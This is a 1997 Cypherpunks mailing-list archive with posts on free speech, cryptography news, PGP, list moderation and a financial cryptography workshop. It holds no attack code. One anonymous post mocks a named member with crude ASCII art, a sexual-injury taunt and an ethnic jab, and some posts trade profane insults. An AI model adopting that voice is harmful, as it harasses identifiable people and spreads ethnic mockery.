Times Co. v. Sullivan, supra, at 279: 'Allowance of the defense of truth,
with the burden of proving it on the defendant, does not mean that only
false speech will be deterred.'

"The First Amendment requires that we protect some falsehood in order to
protect speech that matters."

and Justice Brennan, in _NAACP v. Button_ 371 U.S. 415, 444 (1963):

"For the Constitution protects expression and association without regard to
the race, creed, or political or religious affiliation of the members of
the group which invokes its shield, or to the truth, popularity, or social
utility of the ideas and beliefs which are offered."   

So, yes, the First Amendment protects some lies. According to your
hypothesis, the country should be collapsing around us any day now because
of it. Last one out turn off the lights, ok? 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 02:25:40 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701290603.AAA02837@smoke.suba.com>
Message-ID: <32EF4257.2BBE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> Phill wrote:
> > I'm a philosophical anarchist and I don't consider the state to have
> > "rights" over its "subjects", nor do I believe in the pure ideology of
> > property you do.
> > Its worth noting that the origin of property is theft. In the case of the
 
>     BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> that _my_ property is the result of ME stealing, and hence what I OWN belongs
> to the community IS theft.

  "All your private property, is target for your enemies."
                                    Jefferson Airplane





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Tue, 28 Jan 1997 15:03:18 -0800 (PST)
To: rishab@dxm.org (Rishab Aiyar Ghosh)
Subject: Internet companies demonstrate portable security
Message-ID: <199701290434.EAA00543@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


(Forward)
Internet companies demonstrate portable security

Six Internet companies have joined forces to develop a joint
demonstration of smartcard technologies at the 1997 RSA Data Security
Conference. Consensus Development Corporation, Gemplus,
Hewlett-Packard, Litronic Inc., Netscape Communications Corporation
and VeriSign, Inc., Monday announced "The Get Smartcard Demo." The
interactive demo will allow each conference attendee to load X509v3
certificates on crypto-enabled smartcards. Participants will interact
with the demo through mutually authenticated SSL connections and
document signing. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1274540-213
-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lead remailer <mix@zifi.genetics.utah.edu>
Date: Wed, 29 Jan 1997 03:51:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [GAK] FBI at it again
Message-ID: <199701291137.EAA10711@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Dr.Dimitri L"iposuction" Vegetable had his foreskin ripped off
> last night by a vacuum cleaner.
> 
>    ,/         \,
>   ((__,-"""-,__))
>    `--)~   ~(--`
>   .-'(       )`-, Dr.Dimitri L"iposuction" Vegetable
>   `~~`d\   /b`~~`
>       |     |
>       (6___6)
>        `---`

I thought Dimitri was Jewish.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Tue, 28 Jan 1997 15:17:10 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Child Porn
Message-ID: <199701290448.EAA00573@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


(Forward)
*** NY student charged with sending child sex photos over Internet

Nathaniel Levy, a psychology major at New York State University, was
charged Wednesday with using the Internet to transmit photos of
infants having sex with adults, the New York state attorney general
said. Levy, who wanted to be a kindergarten teacher, was arrested for
promoting sexual performance of a child. If convicted he could receive
seven years in prison. Levy, whose computer name was "NateTSnake," was
released Wednesday on $20,000 bail. He allegedly transmitted 35
sexually explicit photos of children, some as young as 18 months. For
the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1219452-9f3 
-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Wed, 29 Jan 1997 02:25:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: verisign_1.html
Message-ID: <199701291026.FAA08091@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Kodak Near Deal With Wang - Report
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   Tuesday January 28 9:52 AM EST 
   
VeriSign Commercializes New Encryption Standard

   SAN FRANCISCO - VeriSign, hoping to push some recent Internet
   encryption research into use, says it has begun commercializing
   several products based on new industry encryption standards.
   
   First it has taken the Secure Electronic Transactions (SET) standard
   developed last year by an industry group led by Visa and MasterCard
   and started online distribution of digital IDs based on SET to Visa
   customers.
   
   At a conference in San Francisco sponsored by RSA Data Security,
   VeriSign also demonstrated digital ID smart cards using a PC/SC
   standard to get access to Internet sites.
   
   In a partnership with Schlumberger, which also manufactures the smart
   cards, Litronic, which makes readers of smart cards, and Microsoft on
   whose Internet Explorer 3.0 browser the smart cards will work,
   VeriSign showed how the smart cards would be useful for providing
   secure access to restricted Internet sites, or for transactions on the
   Net.
   
   "We are starting to see the industry support this Visa- MasterCard
   initiative with a lot of product efforts," VeriSign Chief Executive
   Stratton Sclavos said about SET.
   
   Smart cards are credit card-shaped plastic cards that hold a microchip
   that endows them with computer intelligence and processing
   capabilities. As officials from VeriSign, Spyrus and others described
   here, an employee would use the smart card to get access from anywhere
   to a corporate network and have all the key personal information as if
   the computer was programmed for that person's use. Likewise, a
   consumer might use the smart card in many different sites to do
   Internet-based transactions from kiosks or ATMs and so on.
   
   Sclavos forecast that Internet transactions requiring security will
   gain consumer acceptance in 1998 or 1999.
   
   He said 1997 will be the year that security apparatus is installed or
   deployed by merchants, banks and other companies. Then once deployed,
   consumers will start using it about a year later.
   
   Security remains a key concern of consumers about electronic commerce
   and Internet transactions, he said.
   
   VeriSign also announced its so-called private label digital ID program
   in which it is making encryption products for large customer-oriented
   companies, like brokerage firms, to distribute to customers for access
   to online accounts.
   
   And it announced a new service for the Electronic Data Interchange
   market that allows EDI to take place over the Internet instead of
   proprietary networks.
   
   Mountain View, Calif-based VeriSign considers itself the leader in
   providing digital certification for Internet access and electronic
   commerce. It has issued digital IDs based on other encryption
   technology it developed to about 500,000 people and on 14,000 Web
   sites, it added.
   
   Copyright, Reuters Ltd. All rights reserved
   
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    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 02:24:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercen
Message-ID: <TCPSMTP.17.1.29.5.27.28.2780269260.1489949@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:dthorn@gte.net to Harka <=-

 > The Cold War was not won by the arms race, it was won in
 > Eastern Europe which was never a major participant. The main
 > instrument that won it was West German TV which broadcast
 > pictures of supermarkets with full shelves into the homes
 > of East Germans every night. The viewers could see that it
 > was not mere propaganda and their relatives confirmed the
 > fact. As a result the East German guards on the Berlin wall
 > simply decided to leave their posts one night.

 In> That's it?  The system collapsed because the guards left their posts?
 In> And no mutiny charges?  Incredible.

Actually not quite right. On November 9th, 1989 the East-German
government established a new law (under pressure from the
demonstrating public), that would allow every East-German to go _up
to_ 30 days/per year to a western country. Visas to do so would be
given out without problems, effective immediately.
At the evening press-conference however, the government speaker
Guenther Schabowskie (can't recall his exact position at that time)
introduced that new law and then he made the BIG error: after
hearing the new provisions of the new travel law, a foreign
journalist stood up and asked him "Does _that_ mean, that every
East-german citizen could right now go to the western border and
gain free entry to West-Germany (or West-Berlin) without problems?"
And my man Guenther was looking desperately in all his papers (funny
as hell! :)) and then, after finding no pre-made answer, he said:
"Yeah, I guess so!"...
After which the journalists sped out and cabeled their
interpretation of the situation: "The wall is open!".

Which in fact was quite a dangerous situation then, cause
East-Germans heard that and actually went to the west-german border
(and West-Berlin as well). The Border-Control guards however were
even less informed then my man Guenther :), with the difference,
that they had the order to shoot in case of "Desertion of the
Republic".
But faced with hundreds of people, who were all talking about some
new travel law, they just shrugged and opened the gates without
being stupid (they after all, were mostly young men in 1 1/2 or 3
year military service/draft, who were normal people just like
everybody else).
In fact, for acting in such a way, a lot of people gave them flowers
and champaigne later on in that wild night of celebration...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunadDltEBIEF0MBAQHw5Af9FTchTTk9/G6Nq/StYwwLv3vt5hFmNUjn
jyS5eDOM2rlh9107Awv4TwdGnV43RlJVKvNSnYUOg+dRiYhysewfyyJ4klmmsTBP
x+9Cn81o1Jqeqp5aovP52YLgdCKUL9l7BOnvQsXzJIJRglj1KC/Hr+5kXWNsyI6l
wN7WSnFPLJ0c+q5QXkkpQfWUj4LwOZItbh+I2Sy+kIdJuhVi66L45oCkJyHwfq2+
SgbuqaGabAGVakOMl53yffuhc6TXKcWcs30Vi2axwqXE//hlwO/NFg/OaoMUz+6i
fJZmUtI33iCpsTtELPZzIqeP7DM13CaZ5u1r4URVWUOdXFDRs9Hytw==
=YiP5
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 02:24:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words...
Message-ID: <TCPSMTP.17.1.29.5.27.42.2780269260.1489950@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> harka@nycmetro.com writes:
 >does anybody know any contact points/Web pages, where I might get
 >some information on e-mail filtering via trigger-words? I am
 >interested in how this technology specifically works and a
 >acollection of trigger-words would be nice too :)

Actually, I might not have chosen the correct words for what I
wanted...
I am looking for sniffer-programs, that analyze e-mail traffic on
the Net and filtering out all e-mails potentially interesting for
_intelligence services_. For example, I've heard, that if an e-mail
contains the words: "assassinate President" (DISCLAIMER: I hope, our
President lives a long and happy life, even after his
impeachment...:)), it will automatically get filtered and checked
out by the Secret Service.
Different intelligence agencies might have similar things in place.
Where could I get some more information about that?

Thanks in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunaiDltEBIEF0MBAQHVFAf/TbYVKOSoH4G0GRaHcJJDREUbzkr4nczs
Vi7EMagZci3FRx0atVAkMz4GNwBYCf5CJdnDTIR7tOADs1OamMIRhsGV00r3ZbCB
dAWTKbjKcXHno+Eztmelk9P5F50ryP2B25mjWT2CJDTZqyml6Bhe5AW8K0lSDPfw
AHCGPk701pXB62POXf2rwccQusOFAMaR4X/44xcOdamrWBsKJKaE1Sz/wvzvzxob
7t8Dh7x48oEgMQ68cQz2luZlZlIUzHV3x0npZNetYbEzRTKMEITXfKqzb0iG8pfD
r1K13Jlr4Li93f59OKci5Rrz6eiCIvXlII9w4o2ejYJp8EPZdNsTKg==
=Mh6f
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 03:43:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <Pine.SUN.3.91.970128232152.28952G-100000@crl5.crl.com>
Message-ID: <32EF54AD.7C0A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
 
 > On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
 
 > > Why is a mere "I see" classified as cypherpunks-flames???
 > > Stop picking on girls, Sandy.
 
 > It wasn't and I wasn't.
 
   It was and you did.
 
   Sorry, Sandy, but I'm going to have to take off the 'gold star'
 I put on your chart on Monday, and put on a 'red star'.
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Jan 1997 21:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Getting into MIT is impossible
Message-ID: <199701290545.GAA06984@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




According to Rick Osborne:

"I disagree and can speak from experience.  I was denied admission to MIT
even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
was on several academic teams, sang in Chorus, acted and stage managed in
Drama, and played Tennis."

People get into MIT--or don't get into MIT--for lots of reasons. Most
intelligent people apply to several schools, knowing that admissions
practices are subject to the vagaries of reality.

In my case, my SATs were about 1500, with some 800s in achievement tests.
And the usual bullshit high school clubs, political offices, etc. etc. I
was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
way things turned out.

And I decided not to go to MIT, either.

"The only thing I didn't have that the next MIT applicant had was money.  I
made the mistake of letting them know that I was dirt poor and would need
full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
Russian front!""

My guess is that "other factors" were involved. 

I noted with some interest, but little surprise, that the guy claiming MIT
required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
had major problems making a coherent point. Methinks this is why MIT
rejected him, not his lack of a "1600."

">For what it's worth, I wanted to go to MIT my sophomore year in high
>school, too

"Lucky you.  It had been a dream of mine since I was an annoying
overachiever of 6.  Sux to be white trash, I guess."

MIT offered me a substantial economic aid package, in the form of loans,
grants, and various campus jobs. What does this tell you?

"MIT may be a great school, but they tend to be snooty assholes for the most
part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
assholes", I'm just saying that I've yet to meet one that wasn't.)

I've known about a dozen or so MIT grads, and only one of them was a snooty
asshole, and it was a _she_, one of the first MIT women grads (and she was
_very_ impressed by this). 

Most MIT grads are perfectly reasonable.

Xanthar




--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 29 Jan 1997 07:16:35 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <32EF54AD.7C0A@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970129065020.28830L-100000@crl13.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 29 Jan 1997, Toto wrote:

> Sandy Sandfort wrote:
>  
>  > On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>  
>  > > Why is a mere "I see" classified as cypherpunks-flames???
>  > > Stop picking on girls, Sandy.
>  
>  > It wasn't and I wasn't.
>  
>    It was and you did.

No, I classified it as "spam" and sent it to the list set aside 
for that, cypherpunks-flames.  Several such spams--from members 
of both sexes--have been treated the same way, so girls were net
especially picked on.  In any event, no one was "picked on" by
that decision.  The people in question self-selected themselves
by posting spam.

Why "spam"?  Because of the childish inclusion of pages of 
no-longer-relevant previous comments.  Whether intentional or
merely negligent, the net effect is to spam the list.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 29 Jan 1997 07:27:58 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <Pine.SUN.3.91.970129065020.28830L-100000@crl13.crl.com>
Message-ID: <32EF6C5C.5A7E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Wed, 29 Jan 1997, Toto wrote:
> > Sandy Sandfort wrote:
> >  > On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> >  > > Why is a mere "I see" classified as cypherpunks-flames???
> >  > > Stop picking on girls, Sandy.

> No, I classified it as "spam" and sent it to the list set aside
> for that, cypherpunks-flames.  Several such spams--from members
> of both sexes--have been treated the same way, so girls were net
> especially picked on.  In any event, no one was "picked on" by
> that decision.  The people in question self-selected themselves
> by posting spam.
> Why "spam"?  Because of the childish inclusion of pages of
> no-longer-relevant previous comments.  Whether intentional or
> merely negligent, the net effect is to spam the list.

I hope to God you're paying attention, Toto.  You just got a new
rule: inclusion of no-longer-relevant comments. Now if you pay close
attention from now on, and write these things down, you won't forget.
(until there's a new rule, but that's the way these things work).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 04:25:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Key Preview...
Message-ID: <TCPSMTP.17.1.29.7.28.40.2780269260.1490067@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

is there a way to preview the contents of a received public key,
without adding it automatically to the public key ring?

Thanks a lot in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunrbjltEBIEF0MBAQEisgf+OBS8Q06g3pNfKgntaKQdCkHyLXZWHjI7
hOnVeF47C0qgsFjEEymnrQMl4b1l2zcRgqUKTY8jXhmaY6yeGcoRXc5hgo1679MY
l+7BTNKIy2YTnzjhFk5bOKXk6V9DDWfq4chhCE2dpEVdUgRPVTfkfbm5VEN+zmn8
gaXyIf/bYv5GEs2F/FPc1kTmySx/NT5CvbvQRHaQdfEDk+QatnRjRLSsprln8cnt
vxqZO9a6lveygA/wECPdx1gnHBhrscUeaLHIXz4YVVaSMrkEHJfLWOrzQHg2CGwQ
o5OcKmuY0FcvzfpS2Yo0/lA8+/Ez83yUAdeEeY+yF7p2XgrLaOiFnw==
=o/jO
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 05:00:08 -0800 (PST)
To: FC97 Distribution <rah@shipwright.com>
Subject: Call for Participants: The Financial Cryptography 1997 Workshopfor Senior Managers and IS Professionals
Message-ID: <v03007808af14f4068d59@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


CALL FOR PARTICIPANTS
The Financial Cryptography 1997 (FC97)
Workshop for Senior Managers and IS Professionals
February 17-21, 1997
The InterIsland Hotel
Anguilla, BWI
<http://www.offshore.com.ai./fc97/>

Workshop Update: January 29, 1997

FC97 is sponsored by:

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.vmeng.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here! <mailto: rackliffe@tcm.org>

FC97 Workshop for Senior Managers and IS Professionals
February 17-21, 1997

FC97 Conference and Exhibition,
February 24-28, 1997

The Inter-Island Hotel
Anguilla, BWI

Workshop and Conference Reservations: <http://www.offshore.com.ai./fc97/>



The world's first intensive financial cryptography workshop for senior
managers and IS professionals will be held Monday through Friday, February
17-21 1997, from 9:00am to 6:00pm, at the Inter-Island Hotel on the
Carribbean island of Anguilla.

This workshop will be the prelude to the world's first peer-reviewed
financial cryptography conference and commercial exhibition, Financial
Cryptography 1997 (FC97), which will be held the following week, February
24-28, 1997.


The goals of the combined workshop, conference and exhibition are:

-- to give senior managers and IS professionals a solid understanding of
the fundamentals of strong cryptgraphy as applied to financial
operations on public networks,

-- to provide a peer-reviewed forum for important research in financial
cryptography and the effects it will have on society, and,

-- to showcase the newest products in financial cryptography.

Workshop and Conference participants are encouraged to bring their
families, though Workshop participants should expect to be busy the first
week. :-).


The Workshop

Ian Goldberg, the Workshop chair, has picked an outstanding team of
instructors in financial cryptography and internet financial system
security to teach the courses in this workshop. The Workshop will consist
of 40 hours of intensive instruction and lab time over 5 days. Each student
will have their own internet workstation, and the lab will be open 24
hours.  The SSL internet commerce server used in the workshop will be
Stronghold, developed by C2NET, of Berkeley, California. For information on
Stronghold, please see <http://www.c2.net/>. Thanks to C2NET for their
gracious donation of this outstanding software to the FC97 Workshop.


Who Should Attend

The Workshop is intended for senior IS managers and technical professionals
who want to get completely up to speed on the design, development, and
implementation of financial cryptography systems, the core technology of
internet commerce. After the workshop, senior managers will have a hands-on
understanding the strengths and liabilities of currently available
financial cryptography and internet transaction security software and
hardware, and thus be able to make better asset allocation decisions in
this area of explosive technology growth. Senior technical professionals
with strong IS experience will be able to implement those technologies and
to pass on what they've learned to their clients and colleagues when they
return home.

The Workshop will be held in a casual but intensive atmosphere at the very
cutting edge of financial technology on the internet. Someone has likened
the experience to a financial cryptography bootcamp.  At the end, Workshop
attendees will be utterly conversant in cryptography as it applies to
finance, and will be quite prepared for the technical papers in the FC97
conference the following week. Workshop participants will not only know
what everyone else is doing now in internet commerce, but, more important,
because they understand the implications of strong financial cryptography
on ubiquitous public networks, they will be able to know what to do *next*.


The Workshop Leader

Ian Goldberg is a Ph.D. student in security and cryptography at the
University of California, Berkeley. Just last night, he cracked RSA Data
Security Inc.'s 40-bit challenge cipher in just under 3.5 hours. In late
1995, he discovered what became a much-publicized flaw in Netscape's
implementation of SSL. He is a recognized expert in electronic payment
systems, and in DigiCash's ecash digital bearer certificate protocol in
particular. He has produced several ecash clients for Unix and Windows, as
well as an ecash module for the Stronghold web server, which has extended
the existing ecash system for better security, privacy, and ease-of-use.

The Principal Instructors

Gary Howland worked on digital cash systems for DigiCash, and then moved to
Systemics, where he developed the SOX protocol, a flexible payments system
currently in use in a bond trading environment, soon to be available to the
public. He also developed the Cryptix and PGP libraries in Perl, and
assisted on the Cryptix and PGP library implementations in Java.

Adam Shostack is a security consultant based in the Boston area. He has
extensive background in designing, implementing and testing secure systems
for clients in the medical, computer, and financial industries. His recent
public work includes 'Apparent Weaknesses in the Security Dynamics Client
Server Protocol,' 'Source Code Review Guidelines,' and comparisons of
freely available cryptographic libraries. His clients include Fidelity
Investments and the Brigham and Women's Hospital, in Boston.


Additional Instructors

The Workshop will have student-to-instructor ratio of 5 to 1, not including
the Workshop leader. The Workshop will have an initial enrollment of 10
students, and an additional instructor will be added for each 5 students up
to a 25 student maximum enrollment.


Workshop Topics

The following is the complete list of topics that the workshop will cover:


      Security on the Internet
            Internet Protocols: IP, TCP, UDP
            Higher-level Protocols: Telnet, FTP, HTTP, SSL
            Solid Foundations for Cryptographic Systems
            A History of Internet Attacks
            Building Internet Firewalls
            Building a Bastion Host
            Turning your Bastion Host into a Web Server
            Non-internet Internet Security
      Cryptography
            The Need for Cryptography
            History of Cryptography
            Classical Methods
            Modern Methods
            Private and Public Key Cryptography
            Authentication vs. Security
            Certification and Public Key Infrastructures
            Cryptographic Protocols
            Engineering a Cryptographically Secure System
            Why Cryptography is Harder than it Looks
            Security Through Obscurity and How to Recognize Snake Oil
      Internet Payment Systems
            Payment models: coin-based, cheque-based, account-based
            Security Issues
            Privacy and Anonymity Issues
            Smartcards vs. Software
            Existing Payment Schemes
                  Credit Cards
                  First Virtual
                  CyberCash
                  DigiCash
            Forthcoming Payment Schemes
                  SET
                  Mondex
                  Millicent
                  micropayments
      Setting Up an ecash-Enabled Web Server
            Setting up the Web Server
            Signing up for ecash
            Installing the ecash Module
            Setting Prices
            Logging
            Advanced Methods
                  ecashiers
                  moneychangers


The workshop has been covered by Wired Magazine, and FC97 was the featured
conference in the January 1997 "Deductible Junkets" section. So, if you
have already decided to come to the FC97 Workshop and Conference, please
register and make your plane and hotel reservations as soon as possible.
Workshop space is extremely limited.

The price of the workshop is $5,000 U.S. You can pay for your FC97 workshop
ticket with Visa or MasterCard, with ecash, or with any of a number of
other internet commerce payment protocols, at the
regstriation site: <http://www.offshore.com.ai/fc97/>.

The workshop price includes meals (but not lodging) at the InterIsland
Hotel and lab space, plus the delivery and installation of hardware,
network access, internet commerce software, all to a location like
Anguilla. And, of course, 40 hours of instruction and structured lab
activity.  We have priced the workshop to be competitive with other
comprehensive business and professional technology workshops of similar
total session length.

In addition, the first 10 FC97 workshop participants will receive a 50%
reduction in their FC97 Conference and Exhibition fee, for a savings of
$500 off the $1,000 conference admission.

You can register, and pay for, your workshop ticket at:

<http://www.offshore.com.ai/fc97/>



Air Transportation and Hotels

Air travel to Anguilla is typically done through San Juan, St. Thomas or
St. Maarten/Martin. There are several non-stop flights a day from various
US and European locations. Connection through to Anguilla can be made
through American Eagle, or through LIAT, or in the case of St. Maarten,
with a short ferry ride to Anguilla. See your travel agent for details.

Anguilla's runway is 3600 feet, with a displaced threshold of 600 feet,
and can accomodate business jets. Obviously, you should talk to your
aviation staff for details about your own aircraft's capabilities in this
regard.

Anguilla import duties are not imposed on hardware or software which
will leave the island again, so, as long as you take it with you when
you leave, you won't pay import duties.

PLEASE NOTE: Your FC97 Workshop fee only covers *meals* at the InterIsland
Hotel. The InterIsland is actually a small guesthouse attached to a large
conference facility, and so rooms there are in short supply. Fortunately,
there are lots of small hotels and guesthouses nearby. For more information
on these hotels, please see <http://www.offshore.com.ai/fc97/> for more
information.

Other hotels on Anguilla range from spartan to luxurious, all within easy
walking or driving distance of the Workshop at the InterIsland. More
information about Anguillan hotels can be obtained from your travel agent,
or at <http://www.offshore.com.ai/fc97/>.


Registration and Information for Other FC97 Events

To register and pay for your ticket to the FC97 conference itself, see:
<http://www.offshore.com.ai/fc97/>

For information the selection of papers for the FC97 conference see:
<http://www.cwi.nl/conferences/FC97>

If you're interested in Exhibition space, please contact Julie Rackliffe:
<mailto:rackliffe@tcm.org>

If you're interested in sponsoring FC97, also contact Julie Rackliffe:
<mailto:rackliffe@tcm.org>


Financial Cryptography '97 is held in cooperation with the International
Association for Cryptologic Research. The conference proceedings will be
published on the web by the Journal for Internet Banking and Commerce.
<http://www.arraydev.com/commerce/JIBC/>.



The FC97 Organizing Committee:

Vince Cate and Bob Hettinga, General Chairs
Ray Hirschfeld, Conference Chair
Ian Goldberg, Workshop Chair
Julie Rackliffe, Conference, Exhibit, and Sponsorship Manager

And our sponsors...

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.vmeng.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Wed, 29 Jan 1997 05:03:29 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EEF0AC.BF1@gte.net>
Message-ID: <Pine.SOL.3.93.970129080121.21739A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Jan 1997, Dale Thorn wrote:

> OKSAS wrote:
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
